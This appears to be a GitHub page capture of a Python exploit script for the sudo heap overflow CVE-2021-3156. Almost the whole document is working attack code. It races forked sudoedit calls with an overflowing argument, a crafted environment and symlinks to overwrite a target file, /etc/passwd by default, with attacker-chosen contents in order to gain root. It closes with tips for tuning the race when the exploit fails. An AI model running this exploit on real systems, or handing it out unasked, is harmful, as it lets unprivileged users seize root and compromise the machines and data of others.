-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathexploit.py
117 lines (101 loc) · 3.81 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python3
import os
import sys
import pwd
import time
import argparse
class Exploit(object):
username = ''
size = 0
data = ''
def __init__(self, source, target, sleep):
self.sleep = sleep
self.source = source
self.target = target
@staticmethod
def readFile(path):
return open(path, 'r').read()
@staticmethod
def getUser():
return pwd.getpwuid(os.getuid())[0]
@staticmethod
def getSize(path):
return os.stat(path).st_size
def main(self):
self.username = self.getUser()
self.data = self.readFile(self.source)
self.size = self.getSize(self.target)
environ = {
'\n\n\n\n\n': '\n' + self.data,
'SUDO_ASKPASS': '/bin/false',
'LANG': 'C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'A': 'A' * 0xffff
}
for i in range(5000):
directory = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA00000000000000000000000000%08d' % i
overflow = '11111111111111111111111111111111111111111111111111111111%s' % directory
if os.path.exists(directory):
sys.stdout.write('file exists %s\n' % directory)
continue
child = os.fork()
os.environ = environ
if child:
sys.stdout.write('[+] parent %d \n' % i)
sys.stdout.flush()
time.sleep(self.sleep)
if not os.path.exists(directory):
try:
os.mkdir(directory, 0o700)
os.symlink(self.target, '%s/%s' % (directory, self.username))
os.waitpid(child, 0)
except:
continue
else:
sys.stdout.write('[+] child %d \n' % i)
sys.stdout.flush()
os.setpriority(os.PRIO_PROCESS, 0, 20)
os.execve(
path='/usr/bin/sudoedit',
argv=[
'/usr/bin/sudoedit',
'-A',
'-s',
'\\',
overflow
],
env=environ
)
sys.stdout.write('[!] execve failed\n')
sys.stdout.flush()
os.abort()
break
if self.size != self.getSize(self.target):
sys.stdout.write('[*] success at iteration %d \n' % i)
sys.stdout.flush()
break
sys.stdout.write("""
\nConsider the following if the exploit fails:
\n\t(1) If all directories are owned by root then sleep needs to be decreased.
\n\t(2) If they're all owned by you, then sleep needs increased.""")
if __name__ == '__main__':
parser = argparse.ArgumentParser(
add_help=True,
description='* Sudo Privilege Escalation / Heap Overflow - CVE-2021-3156 *'
)
try:
parser.add_argument('-s','--source', action='store', help='Path to malicious "passwd" file to overwrite the target')
parser.add_argument('-t', '--target', action='store', help='Target file path to be overwritten (default: /etc/passwd)')
parser.add_argument('-sl','--sleep', action='store', help='Sleep setting for forked processes (default: 0.01 seconds)')
parser.set_defaults(target='/etc/passwd', sleep='0.01')
options = parser.parse_args()
if options.source is None:
parser.print_help()
sys.exit(1)
exp = Exploit(
source=options.source,
target=options.target,
sleep=float(options.sleep)
)
exp.main()
except Exception as err:
sys.stderr.write(str(err))